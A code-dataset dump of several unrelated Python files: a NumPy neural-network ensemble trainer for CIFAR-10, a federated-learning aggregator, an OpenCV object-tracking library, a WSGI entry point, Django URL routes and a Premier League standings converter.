self.forward(X) # (K,N)\r\n print(\"shape out\",P.T.shape)\r\n k = np.argmax(P.T, axis=1)\r\n return np.sum(k == y) / N\r\n\r\n # Y is one hot (K,N)\r\n def compute_gradients(self, X, Y, lam):\r\n N = X.shape[1]\r\n K = Y.shape[0]\r\n m = self.b1.shape[0]\r\n H,P = self.forward(X) # (K, N)\r\n # out\r\n G = -(Y - P) # (K, N)\r\n # hid\r\n dLdW2 = 1. / N * G @ H.T\r\n dLdb2 = 1. / N * np.matmul(G,np.ones(N))\r\n dLdb2 = 1. / N * G @ np.ones(N)\r\n\r\n # activ in\r\n G = self.W2.T @ G\r\n G = G * np.piecewise(H, [H <= 0, H > 0], [0,1]) #* Ind(H > 0) \r\n # input layer\r\n dLdW1 = 1. / N * G @ X.T\r\n dLdb1 = 1. / N * G @ np.ones(N)\r\n \r\n # gradients\r\n grad_W2 = dLdW2 + 2.*lam*self.W2\r\n grad_b2 = np.reshape(dLdb2, (K,1))\r\n grad_W1 = dLdW1 + 2.*lam*self.W1\r\n grad_b1 = np.reshape(dLdb1, (m,1))\r\n '''\r\n dLdW = 1. / N * G @ X.T\r\n dLdb = 1. / N * np.matmul(G,np.ones(N))\r\n grad_W = dLdW + 2.*lam*self.W\r\n grad_b = np.reshape(dLdb, (K,1))\r\n '''\r\n return grad_W1, grad_b1, grad_W2, grad_b2\r\n \r\n # X: cols are data points\r\n def training(self, X,Y,X_val, Y_val, lam=0, n_batch=100, n_epochs=20,\r\n eta_min=1e-5, eta_max=1e-1,n_s=500, print_epoch=5):\r\n print(\"training started...\")\r\n costs_train = []\r\n costs_val = []\r\n N = X.shape[1]\r\n\r\n eta = eta_min\r\n t = 1\r\n \r\n for epoch in range(n_epochs):\r\n #eta = eta * 1/(1+ 0.09*epoch) \r\n #if eta < 0.001:\r\n # eta = 0.001\r\n # cyclic lr\r\n # t=1 to t=2*n_s\r\n \r\n # shuffle\r\n permidx = np.random.permutation(N)\r\n Xtrain = X[:,permidx] \r\n Ytrain = Y[:,permidx] \r\n for j in range(int(N / n_batch)):\r\n j_start = j*n_batch #inclusive start\r\n j_end = (j+1)*n_batch # exclusive end\r\n Xbatch = Xtrain[:, j_start:j_end]\r\n Ybatch = Ytrain[:, j_start:j_end]\r\n grad_W1, grad_b1, grad_W2, grad_b2 = \\\r\n self.compute_gradients(Xbatch, Ybatch, lam)\r\n\r\n if t <= n_s:\r\n eta = eta_min + t / n_s * (eta_max - eta_min)\r\n if n_s < t and t <= 2*n_s:\r\n eta = eta_max - (t-n_s)/n_s * (eta_max-eta_min)\r\n if t == 2*n_s:\r\n t = 1\r\n t+=1\r\n\r\n # update params\r\n self.W2 = self.W2 - eta * grad_W2\r\n self.b2 = self.b2 - eta * grad_b2\r\n self.W1 = self.W1 - eta * grad_W1\r\n self.b1 = self.b1 - eta * grad_b1\r\n # save costs\r\n costtrain = self.compute_cost(X, Y, lam)\r\n costs_train.append(costtrain)\r\n costval = self.compute_cost(X_val, Y_val, lam)\r\n costs_val.append(costval)\r\n if epoch % print_epoch == 0:\r\n print(\"Epoch {} ; traincost: {} ; valcost: {}\".format(epoch, costtrain, costval))\r\n return costs_train, costs_val\r\n\r\n def compare_grad(self,X,Y, lam):\r\n P = self.forward(X)\r\n grad_W, grad_b = self.compute_gradients(X, Y, lam)\r\n h = 1e-6\r\n grad_Wnum, grad_bnum = ComputeGradsNumSlow(X, Y, P, self.W, self.b, lam, h)\r\n '''\r\n print(grad_W.shape)\r\n print(grad_b.shape)\r\n print(grad_Wnum.shape)\r\n print(grad_bnum.shape)\r\n '''\r\n errW = np.abs(grad_W - grad_Wnum) / np.max(1e-6, np.abs(grad_W)+np.abs(grad_Wnum))\r\n errb = np.abs(grad_b - grad_bnum) / np.max(1e-6, np.abs(grad_b)+np.abs(grad_bnum))\r\n return errW, errb\r\n\r\n\r\ndef compute_accuracy_ensemble(nets, X, y, K):\r\n N = X.shape[1]\r\n n_nets = len(nets)\r\n outs = np.zeros((n_nets,K,N))\r\n votes = np.zeros((n_nets,N))\r\n print(\"label shape y \", y.shape)\r\n \r\n for i in range(n_nets):\r\n net = nets[i]\r\n _,outs[i] = net.forward(X) #(n_nets,K,N)\r\n votes[i] = np.argmax(outs[i].T, axis=1) # (n_nets,N)\r\n major = mode(votes, axis=0)[0]\r\n\r\n\r\n #_,P = self.forward(X) # (K,N)\r\n #print(\"shape out\",P.T.shape)\r\n #k = np.argmax(P.T, axis=1)\r\n\r\n return np.sum(major == y) / N\r\n\r\n\r\ndef main():\r\n cifar_10_dir = 'Dataset/cifar-10-batches-py'\r\n\r\n N_val = 1000\r\n\r\n train_data, train_filenames, train_labels, train_onehot,\\\r\n val_data, val_filenames, val_labels, val_onehot,\\\r\n test_data, test_filenames, test_labels, label_names, test_onehot = \\\r\n load_cifar_10_data(cifar_10_dir, N_val)\r\n\r\n print(\"Train data: \", train_data.shape)\r\n print(\"Train filenames: \", train_filenames.shape)\r\n print(\"Train labels: \", train_labels.shape)\r\n print(\"Train onehot: \", train_onehot)\r\n print(\"Val data: \", val_data.shape)\r\n print(\"val filenames: \", val_filenames.shape)\r\n print(\"val labels: \", val_labels.shape)\r\n print(\"val onehot: \", val_onehot.shape)\r\n print(\"Test data: \", test_data.shape)\r\n print(\"Test filenames: \", test_filenames.shape)\r\n print(\"Test labels: \", test_labels.shape)\r\n print(\"test onehot: \", test_onehot.shape)\r\n print(\"Label names: \", label_names.shape)\r\n\r\n\r\n # pre-process\r\n mean_train = np.mean(train_data)\r\n std_train = np.std(train_data)\r\n print(\"mean, std of train: \", mean_train, \" ; \", std_train)\r\n train_data = train_data - mean_train\r\n train_data = train_data / std_train\r\n val_data = val_data - mean_train\r\n val_data = val_data / std_train\r\n test_data = test_data - mean_train\r\n test_data = test_data / std_train\r\n\r\n train_data = train_data.T\r\n val_data = val_data.T\r\n test_data = test_data.T\r\n\r\n np.random.seed(400)\r\n \r\n # TRAINING\r\n N = train_data.shape[0]\r\n n_batch=100\r\n #n_batch=50\r\n n_epochs=7\r\n #lam=0.01\r\n\r\n l_min = -7\r\n l_max = -5\r\n n_lambdas = 8\r\n lambdas = np.power(10,np.random.uniform(low=l_min,high=l_max,size=(n_lambdas,)))\r\n #lambdas = [1.117361109025311e-05]\r\n #lambdas = [1.0e-03]\r\n lambdas = [0.0004]\r\n #lambdas = [0.0008]\r\n\r\n epochs_per_cycle = 2\r\n #n_s = epochs_per_cycle*np.floor(N / n_batch)\r\n #print(\"train N: \",N)\r\n #print(\"iterations per cycle, n_s: \", n_s) # always 2 epochs per cycle\r\n #n_s = 800\r\n eta_min = 1e-5\r\n eta_max = 1e-1\r\n\r\n K = 10 # classes\r\n m = 130 # hid\r\n d = 3072 # input dim\r\n\r\n #nets_of_nets = []\r\n val_cost = 10000\r\n best_lam = lambdas[0]\r\n best_net = None\r\n\r\n num_cyc = 3\r\n #cycles = np.random.uniform(low=2,high=5,size=(num_cyc,))\r\n cycles = [5,6,8]\r\n with open(\"epc.txt\",\"a\") as f:\r\n f.write(\"-----------\\n\")\r\n \r\n best_net = None\r\n for lam in lambdas:\r\n print(\"Trying lambda: \", lam)\r\n best_val = -1\r\n best_nets = None\r\n best_epc = 2\r\n for epc in cycles:\r\n epc = int(epc)\r\n print(\"Trying \", epc, \" cycles!!!!!!!! --------\")\r\n n_s = int(epc*np.floor(N / n_batch))\r\n nets = []\r\n for j in range(9): # save each network for 4 cycles\r\n net = Net2(d,m,K)\r\n costs_train, costs_val = net.training(\r\n train_data,\r\n train_onehot,\r\n val_data, \r\n val_onehot,\r\n #eta=eta, \r\n lam=lam, \r\n n_batch=n_batch, \r\n n_epochs=epc,\r\n eta_min=eta_min,\r\n eta_max=eta_max,\r\n n_s = n_s,\r\n print_epoch = 2,\r\n )\r\n nets.append(deepcopy(net))\r\n print(\"saved after net \", j*2, \" epochs...\")\r\n #nets_of_nets.append(nets) \r\n val_acc = compute_accuracy_ensemble(nets,val_data, val_labels,K)\r\n\r\n print(\" VALIDATION ACC for {} cycles: {}\".format(epc, val_acc))\r\n with open(\"epc.txt\",\"a\") as f:\r\n f.write(\"epc {}, val_acc {}\\n\".format(epc, val_acc))\r\n\r\n if val_acc > best_val:\r\n best_val = val_acc\r\n best_nets = deepcopy(nets)\r\n best_epc = epc\r\n \r\n print(\"RES: best val acc is {} for cycles: {}\".format(best_val,best_epc))\r\n with open(\"epc.txt\",\"a\") as f:\r\n f.write(\"RES: best epc {}, best val {}\\n\".format(best_epc, best_val))\r\n best_net = deepcopy(best_nets)\r\n '''\r\n last_valcost = costs_val[-1]\r\n print(\"DONE lam {}, last val {}\".format(lam, last_valcost))\r\n\r\n if last_valcost < val_cost:\r\n val_cost = last_valcost\r\n best_net = net\r\n best_lam = lam\r\n\r\n with open(\"lambdas.txt\",\"a\") as f:\r\n f.write(\"lam {}, val_cost {}\\n\".format(lam, costs_val[-1]))\r\n\r\n # plot the validation and train errs\r\n fig = plt.figure()\r\n fig.suptitle(\r\n 'train (red) and val (green) cross entropy cost, \\nlambda={}'.format(lam),\r\n fontsize=16\r\n )\r\n plt.xlabel('epoch', fontsize=14)\r\n plt.ylabel('cost', fontsize=14)\r\n plt.plot(costs_train, 'r')\r\n plt.plot(costs_val, 'g')\r\n plt.show()\r\n '''\r\n\r\n # for each network\r\n test_acc = compute_accuracy_ensemble(best_net,test_data, test_labels,K)\r\n\r\n #test_acc = best_net.compute_accuracy(test_data, test_labels)\r\n #with open(\"lambdas.txt\",\"a\") as f:\r\n # f.write(\"test acc on best lam {}: {}\\n\".format(best_lam, test_acc))\r\n\r\n print(\"\\n\")\r\n #print(\"PARAMS: eta_min={}, eta_max={}, n_batch={}, n_epochs={}\".format(eta_min,eta_max,n_batch,n_epochs))\r\n print(\"TEST ACCURACY with ensembles {}\".format(test_acc))\r\n with open(\"epc.txt\",\"a\") as f:\r\n f.write(\"RES: test acc {}\\n\".format(test_acc))\r\n \r\n # TRAINING AND TEST DONE\r\n\r\n \r\n '''\r\n # plot visualization of weights\r\n fig2 = plt.figure()\r\n fig2.suptitle(\r\n \"weight visualizations\",\r\n fontsize=18\r\n )\r\n cols = 5\r\n rows = 2\r\n for row in range(rows):\r\n for col in range(cols):\r\n i = row*cols + col\r\n im = np.reshape(net.W[i,:], (32,32,3))\r\n s_im = (im - np.min(im)) / (np.max(im) - np.min(im))\r\n fig2.add_subplot(rows,cols,i+1)\r\n plt.imshow(s_im)\r\n\r\n plt.show()\r\n '''\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"twolayer/ensemble_functions.py","file_name":"ensemble_functions.py","file_ext":"py","file_size_in_byte":18884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"531977731","text":"#\n# Copyright 2019 The FATE Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\nfrom arch.api import federation\nimport numpy as np\nfrom arch.api.utils import log_utils\n\nLOGGER = log_utils.getLogger()\n\n\nclass HomoFederatedAggregator:\n # 把多个model聚合在一起\n def aggregate_model(self, transfer_variable, iter_num,\n party_weights, host_encrypter):\n # Step 1: Send 自己model到所有的host\n\n model_transfer_id = transfer_variable.generate_transferid(transfer_variable.guest_model,\n iter_num)\n guest_model = federation.get(name=transfer_variable.guest_model.name,\n tag=model_transfer_id,\n idx=0)\n\n guest_model = np.array(guest_model)\n LOGGER.info(\"received guest model\")\n host_model_transfer_id = transfer_variable.generate_transferid(transfer_variable.host_model,\n iter_num)\n host_models = federation.get(name=transfer_variable.host_model.name,\n tag=host_model_transfer_id,\n idx=-1)\n LOGGER.info(\"recevied host model\")\n final_model = guest_model * party_weights[0]\n\n for idx, host_model in enumerate(host_models):\n encrypter = host_encrypter[idx]\n host_model = encrypter.decrypt_list(host_model)\n host_model = np.array(host_model)\n final_model = final_model + party_weights[idx + 1] * host_model\n # LOGGER.debug(\"Finish aggregate model, final model shape: {}\".format(\n # np.shape(final_model)))\n return final_model\n\n def aggregate_loss(self, transfer_variable, iter_num, party_weights, host_use_encryption):\n guest_loss_id = transfer_variable.generate_transferid(transfer_variable.guest_loss, iter_num)\n guest_loss = federation.get(name=transfer_variable.guest_loss.name,\n tag=guest_loss_id,\n idx=0)\n LOGGER.info(\"Received guest loss\")\n # LOGGER.debug(\"guest_loss: {}\".format(guest_loss))\n\n host_loss_id = transfer_variable.generate_transferid(transfer_variable.host_loss, iter_num)\n loss_party_weight = party_weights.copy()\n\n total_loss = loss_party_weight[0] * guest_loss\n for idx, use_encryption in enumerate(host_use_encryption):\n if use_encryption:\n loss_party_weight[idx] = 0\n continue\n host_loss = federation.get(name=transfer_variable.host_loss.name,\n tag=host_loss_id,\n idx=idx)\n LOGGER.info(\"Received loss from {}th host\".format(idx))\n total_loss += loss_party_weight[idx] * host_loss\n\n total_loss /= sum(loss_party_weight)\n return total_loss\n\n @staticmethod\n def aggregate_grad_loss(acc, x):\n if acc is None and x is None:\n return None\n if acc is None:\n return x\n if x is None:\n return acc\n return acc[0] + x[0], acc[1] + x[1]\n\n @staticmethod\n def aggregate_grad(acc, x):\n if acc is None and x is None:\n return None\n if acc is None:\n return x\n if x is None:\n return acc\n return acc[0] + x[0], None\n","sub_path":"federatedml/optim/federated_aggregator/homo_federated_aggregator.py","file_name":"homo_federated_aggregator.py","file_ext":"py","file_size_in_byte":4029,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"326409410","text":"name = \"eighttrack\"\n__import__('pkg_resources').declare_namespace(__name__)\n\nimport cv2\nimport datetime\nimport math\nimport os\nimport uuid\nimport time\nimport sys\n\nif(sys.version_info[:3] < (3, 0)):\n import itertools\n\n\nclass VideoFrame(object):\n '''\n Represents a single frame of video.\n '''\n\n def __init__(self, pixels, detected_objects=set(), tracked_objects=set()):\n self.pixels = pixels\n self.detected_objects = detected_objects\n self.tracked_objects = tracked_objects\n self.capture_timestamp = time.time()\n\n\nclass BoundingBox(object):\n def __init__(self, x, y, width, height, round_values=True):\n assert width >= 0\n assert height >= 0\n\n if round_values:\n x = int(round(x))\n y = int(round(y))\n width = int(round(width))\n height = int(round(height))\n\n self.x = x\n self.y = y\n self.width = width\n self.height = height\n\n self.x1 = x\n self.x2 = x + width\n self.y1 = y\n self.y2 = y + height\n\n self.pt1 = (self.x1, self.y1)\n self.pt2 = (self.x2, self.y2)\n\n def __eq__(self, other):\n if not isinstance(other, BoundingBox):\n return False\n\n return self.x == other.x and \\\n self.y == other.y and \\\n self.width == other.width \\\n and self.height == other.height\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __hash__(self):\n return hash(self.as_origin_and_size())\n\n def __sub__(self, other):\n local_center = self.center()\n other_center = other.center()\n return math.sqrt(\n math.pow((local_center[0] - other_center[0]), 2) +\n math.pow((local_center[1] - other_center[1]), 2)\n )\n\n def __str__(self):\n return str(self.as_origin_and_size())\n\n def center(self):\n return (self.x + self.width/2.0, self.y + self.height/2.0)\n\n def as_point_pair(self):\n return (self.x1, self.y1, self.x2, self.y2)\n\n def as_origin_and_size(self):\n return (self.x, self.y, self.width, self.height)\n\n def as_left_bottom_right_top(self):\n '''\n Returns a tuple in Quadrant I coordinate space in the form:\n (left, top, bottom, right).\n '''\n return (self.x, self.y, self.x + self.width, self.y + self.height)\n\n def iou(self, other):\n '''\n Returns a float representing the intersection over union ratio between\n the receiver and the given bounding box (other).\n '''\n union = self.union(other)\n if union == 0:\n return 0.0\n intersection = self.intersection(other)\n return (intersection / float(union))\n\n def intersection(self, other):\n '''\n Returns a float representing the area of intersection between the\n reciever and the given bounding box.\n '''\n if self.x2 < other.x1 or other.x2 < self.x1:\n # No intersection in x\n return 0\n if self.y2 < other.y1 or other.y2 < self.y1:\n # No intersection in y\n return 0\n minX = max(self.x1, other.x1)\n minY = max(self.y1, other.y1)\n maxX = min(self.x2, other.x2)\n maxY = min(self.y2, other.y2)\n return float(max(0, maxX - minX) * max(0, maxY - minY))\n\n def union(self, other):\n '''\n Returns a float representing the area of union between the receiver and\n the given bounding box.\n '''\n return float((max(other.x2, self.x2) - min(other.x1, self.x1)) * (max(other.y2, self.y2) - min(other.y1, self.y1)))\n\n\nclass DetectedObject(object):\n '''\n Represents a simple detected object in a given frame of video.\n '''\n\n def __init__(self, label, score, bounding_box, object_id=None):\n self.label = label\n self.score = score\n self.bounding_box = bounding_box\n self.object_id = object_id if object_id else uuid.uuid4()\n\n def __eq__(self, other):\n if not isinstance(other, DetectedObject):\n return False\n\n return self.label == other.label and \\\n self.score == other.score and \\\n self.bounding_box == other.bounding_box and \\\n self.object_id == other.object_id\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __hash__(self):\n return hash(self.object_id)\n\n def __str__(self):\n return \"DetectedObject({}, {}, {}, {})\".format(\n self.label,\n self.score,\n self.bounding_box,\n self.object_id\n )\n\n\nclass TrackedObjectState(object):\n '''\n TrackedObjectState represents the possible states of a tracked object.\n\n TRACKING: the object is confidently located by the object tracker.\n MISSING: the object may have been occluded or dissapeared from the video.\n LOST: the object has been missing for long enough that the tracker has\n given up on it.\n '''\n TRACKING = 1\n MISSING = 2\n LOST = 3\n\n\nclass TrackedObject(object):\n def __init__(self, object_id, bounding_box, recovery_threshold_in_seconds=15):\n self.object_id = object_id if object_id else uuid.uuid4()\n self.recovery_threshold_in_seconds = recovery_threshold_in_seconds\n self.state = TrackedObjectState.TRACKING\n\n self.first_known_location = bounding_box\n self.first_known_location_timestamp = datetime.datetime.utcnow()\n self.last_known_location = bounding_box\n self.last_known_location_timestamp = datetime.datetime.utcnow()\n\n def set_last_known_location(self, bounding_box):\n self.last_known_location = bounding_box\n self.last_known_location_timestamp = datetime.datetime.utcnow()\n self.state = TrackedObjectState.TRACKING\n\n def report_missing(self):\n '''\n Updates the receiver's state to one of the following:\n\n MISSING - if the current state of the receiver is TRACKING.\n LOST - if the current state of the receiver is MISSING and enough\n time has passed to consider it lost.\n '''\n if self.state == TrackedObjectState.LOST:\n # Nothing to do since LOST is an end state not meant for recovery.\n return\n\n if self.seconds_since_last_known_location() > self.recovery_threshold_in_seconds:\n self.state = TrackedObjectState.LOST\n return\n\n self.state = TrackedObjectState.MISSING\n\n def state_str(self):\n return {\n TrackedObjectState.TRACKING: \"TRACKING\",\n TrackedObjectState.MISSING: \"MISSING\",\n TrackedObjectState.LOST: \"LOST\",\n }.get(self.state, \"UNKNOWN\")\n\n def age_in_seconds(self):\n current_timestamp = datetime.datetime.utcnow()\n delta = current_timestamp - self.first_known_location_timestamp\n return delta.total_seconds()\n\n def seconds_since_last_known_location(self):\n current_timestamp = datetime.datetime.utcnow()\n delta = current_timestamp - self.last_known_location_timestamp\n return delta.total_seconds()\n\n def total_distance_traveled(self):\n return abs(self.last_known_location - self.first_known_location)\n\n def __eq__(self, other):\n if not isinstance(other, DetectedObject):\n return False\n\n return self.object_id == other.object_id and \\\n self.state == other.state and \\\n self.first_known_location == other.first_known_location and \\\n self.last_known_location == other.last_known_location\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\n def __hash__(self):\n return hash(self.object_id)\n\n\nclass Pipeline(object):\n '''\n A Pipleline represents a series made up by a video source (in the form of a\n Python generator of VideoFrame instances) followed by a list of steps\n (Python callables taking a VideoFrame instance as input).\n '''\n\n def __init__(self, source=None):\n '''\n Constructor that takes an optional VideoFrame generator.\n '''\n self._generator = source\n self._steps = []\n\n def add(self, step):\n '''\n Adds a given callable to the pipeline represented by the receiver.\n '''\n if None == self._generator:\n self._generator = step\n else:\n self._steps.append(step)\n return self\n\n def _assemble(self):\n # assert self._generator != None\n # assert len(self._steps) > 0\n last = self._generator\n for current in self._steps:\n if(sys.version_info[:3] < (3, 0)):\n transformed = itertools.imap(current, last)\n else:\n transformed = map(current, last)\n last = transformed\n return last\n\n def run(self):\n '''\n Runs the video source generator and pipeline step callables in series.\n '''\n generator = self._assemble()\n while True:\n try:\n next(generator)\n except StopIteration:\n return self\n finally:\n pass\n return self\n\n\nclass VideoCaptureGenerator(object):\n '''\n A VideoCaptureGenerator is the simplest pipeline source. It is meant as an example\n generator around cv2.VideoCapture#read().\n '''\n\n def __init__(self, url):\n self.capture = cv2.VideoCapture(url)\n\n def __del__(self):\n self.capture.release()\n\n def __iter__(self):\n return self\n\n def __next__(self):\n if not self.capture.isOpened():\n raise StopIteration()\n\n (ok, frame) = self.capture.read()\n if not ok:\n raise StopIteration()\n\n return VideoFrame(frame)\n\n next = __next__ # for Python 2\n\n\nclass VideoDisplaySink(object):\n '''\n A VideoDisplaySink is a simple callable that can be used as a sink to a\n pipeline.\n '''\n\n def __init__(self, name='video', scale=1):\n self.name = name\n self.scale = scale\n\n def __call__(self, frame):\n scaled_image = cv2.resize(\n frame.pixels, (0, 0), fx=self.scale, fy=self.scale)\n cv2.imshow(self.name, scaled_image)\n cv2.waitKey(1)\n return frame\n\n\nclass FPSDebugger(object):\n '''\n Infers the FPS by subtracting the time the FPSDebugger is called in the\n pipeline from the capture time of the incoming VideoFrame.\n '''\n\n def __init__(self, color=(0, 255, 0), position=(0, 14), font=cv2.FONT_HERSHEY_SIMPLEX, scale=0.5, thickness=1):\n self.color = color\n self.position = position\n self.font = font\n self.scale = scale\n self.thickness = thickness\n\n def __call__(self, frame):\n current_timestamp = time.time()\n time_difference = current_timestamp - frame.capture_timestamp\n fps = 0 if time_difference == 0 else (1.0 / time_difference)\n text = \"fps: {}\".format(round(fps, 2))\n cv2.putText(\n frame.pixels,\n text,\n self.position,\n self.font,\n self.scale,\n self.color,\n self.thickness\n )\n\n return frame\n\n\nclass DetectedObjectDebugger(object):\n '''\n Draws the detected object bounding boxes on each video frame.\n '''\n\n def __call__(self, frame):\n for detected in frame.detected_objects:\n box = detected.bounding_box\n cv2.rectangle(\n frame.pixels,\n box.pt1,\n box.pt2,\n (255, 0, 0),\n 2\n )\n return frame\n\n\nclass TrackedObjectDebugger(object):\n '''\n Draws the detected object bounding boxes on each video frame.\n '''\n\n def __call__(self, frame):\n for tracked in frame.tracked_objects:\n color = {\n TrackedObjectState.TRACKING: (0, 255, 0),\n TrackedObjectState.MISSING: (0, 255, 255),\n TrackedObjectState.LOST: (0, 0, 255)\n }.get(tracked.state, (0, 0, 255))\n box = tracked.last_known_location\n cv2.putText(\n frame.pixels,\n str(tracked.object_id),\n (box.pt1[0], box.pt1[1]-3),\n cv2.FONT_HERSHEY_SIMPLEX,\n 0.4,\n color,\n 1\n )\n cv2.rectangle(\n frame.pixels,\n box.pt1,\n box.pt2,\n color,\n 1\n )\n return frame\n","sub_path":"eighttrack/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":12542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"200312896","text":"import os\nimport sys\nimport main\nimport linecache\nfrom wsgiref.simple_server import make_server\nfrom cgi import parse_qs, escape\n\nsys.path.insert(0, os.path.dirname(__file__))\n\nhtml = \"\"\"\n\n \n %(body)s\n %(url)s\n \n\n\"\"\"\n\ndef application(environ, start_response):\n try:\n main_data=main.init()\n url = parse_qs(environ['QUERY_STRING'])\n response_body = html % { # Fill the above html template in\n 'body': main_data,\n 'url': url,\n }\n\n status = '200 OK'\n response_headers = [\n ('Content-Type', 'text/html'),\n ('Content-Length', str(len(response_body)))\n ]\n\n start_response(status, response_headers)\n return [response_body]\n except: # Error output starts here\n exc_type, exc_obj, tb = sys.exc_info()\n f = tb.tb_frame\n lineno = tb.tb_lineno\n filename = f.f_code.co_filename\n linecache.checkcache(filename)\n line = linecache.getline(filename, lineno, f.f_globals)\n es = '''Error in {}, Line {} \"{}\": {}'''.format(filename, lineno, line.strip(), exc_obj)\n start_response('200 OK', [('Content-type', 'text/html'),])\n return [es]","sub_path":"passenger_wsgi.py","file_name":"passenger_wsgi.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"567887912","text":"# -*- coding: utf-8 -*-\n\"\"\"myBlog URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\nfrom django.conf.urls import include\n#from django.views.generic import TemplateView\nfrom sites import views\nfrom sites.urls import router as sites_router\nfrom rest_framework_swagger.views import get_swagger_view\nschema_view = get_swagger_view(title=\"API docs 发布站点\")\nfrom rest_framework_jwt.views import obtain_jwt_token, verify_jwt_token\nfrom polls import views as view2\n# from sites.views import *\nurlpatterns = [\n url(r'^$',views.index),\n url(r'^sites/article/',views.article_list),\n url(r'^article/', views.article_list),\n url(r'^ajax/', views.ajax),\n url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n url(r'^grappelli/', include('grappelli.urls')),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^index/', views.index),\n url(r'^api/', include(sites_router.urls)),\n url(r'^api-auth/', include('rest_framework.urls')),\n url(r\"^docs/$\", schema_view),\n #url(r'^docs/', include('rest_framework_docs.urls')),\n url(r'^api-test/',views.api_test,name='api_test'),\n url(r'^api-auth/', obtain_jwt_token),\n url(r'^polls/', include('polls.urls')),\n url(r'^login/', view2.login),\n url(r'^logout/', view2.logout),\n url(r'^register/', view2.register),\n url(r'^captcha', include('captcha.urls')),\n\n # url(r'^robots\\.txt$', TemplateView.as_view(template_name='robots.txt', content_type='text/plain')),\n]\n","sub_path":"myBlog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"312311610","text":"import GameQualityAssessment.code_pac.configReader as configReader\nfrom GameQualityAssessment.project_path import make_absolute_path as abspath\nimport csv\nimport os\n\ndef get_players(open_csv):\n ps = []\n mrc = {}\n for line in open_csv:\n row = line[0].split(';')\n if row[0] == \"E0\":\n p1 = r\"\"+row[2]\n p2 = r\"\"+row[3]\n if mrc.get(p1,None) == None : ps.append(p1)\n if mrc.get(p2,None) == None : ps.append(p2) \n mrc[p1] = 0\n mrc[p2] = 0\n return ps\n\ndef make_map_player_index(players):\n player_index = {}\n for i in range(0,len(players)):\n player_index[players[i]] = i\n return player_index\n \n\ndef make_round(prev_round,players):\n placar = [[players[i],0] for i in range(0,len(players))]\n if prev_round != None:\n for i in range(0,len(players)):\n placar[i][1] = placar[i][1] + prev_round[i][1]\n return placar\n\ndef find_index(header,string):\n for i in range(0,len(header)):\n if header[i] == string :\n return i\n return -1\n\ndef get_game_rounds(open_csv,players):\n \n number_of_games_per_round = len(players)/2\n player_index = make_map_player_index(players)\n rounds = []\n round_ = make_round(None,players)\n count = 0\n for line in open_csv:\n row = line[0].split(';')\n if row[0] == \"Div\":\n home_player_index = find_index(row,\"HomeTeam\")\n away_player_index = home_player_index+1\n home_score_index = home_player_index+2\n away_score_index = home_player_index+3\n result_index = home_player_index+4\n if row[0] == \"E0\":\n if row[result_index] == 'H':\n player = row[home_player_index]\n score = 3\n round_[player_index[player]][1] = round_[player_index[player]][1] + int(score)\n elif row[result_index] == 'A':\n player = row[away_player_index]\n score = 3\n round_[player_index[player]][1] = round_[player_index[player]][1] + int(score)\n elif row[result_index] == 'D':\n player = row[home_player_index]\n score = 1\n round_[player_index[player]][1] = round_[player_index[player]][1] + int(score)\n player = row[away_player_index]\n score = 1\n round_[player_index[player]][1] = round_[player_index[player]][1] + int(score)\n count = count + 1\n if count == number_of_games_per_round :\n count = 0\n rounds.append(round_)\n round_ = make_round(round_,players)\n return rounds\n \n\ndef write_premierleague_on_brasileiro_format(gameFilePath,year):\n def player_score(score):\n return score[1]\n\n with open(abspath(gameFilePath),'r') as filestream:\n open_csv = csv.reader(filestream)\n players = get_players(open_csv)\n #print(year,len(players))\n with open(abspath(gameFilePath),'r') as filestream:\n open_csv = csv.reader(filestream)\n game_rounds = get_game_rounds(open_csv,players)\n #print(year,len(game_rounds))\n for round_ in game_rounds:\n round_.sort(reverse=True,key=player_score)\n with open(abspath('data/ingles/simples'+year),'w') as filestream:\n filestream.write(\"[\")\n number_of_game_rounds = len(game_rounds)\n for count in range(0,number_of_game_rounds):\n game_round = game_rounds[count]\n filestream.write(\"[\")\n sz = len(game_round)\n for index in range(0,sz):\n score = game_round[index]\n filestream.write(\"[\")\n filestream.write('\"')\n filestream.write(score[0])\n filestream.write('\"')\n filestream.write(\",\")\n filestream.write(str(score[1]))\n filestream.write(\"]\")\n if(index < sz-1): filestream.write(\",\")\n filestream.write(\"]\")\n if count < number_of_game_rounds-1 : filestream.write(\",\")\n filestream.write(\"]\")\n\n\nif __name__ == \"__main__\":\n configreader = configReader.ConfigReader()\n folder = abspath(configreader.parser.get('folder ingles','folder'))\n for fil in os.listdir(folder):\n if fil.startswith(\"premier-league-\") :\n path = folder + os.sep + fil\n write_premierleague_on_brasileiro_format(path,path[-8:-4])\n 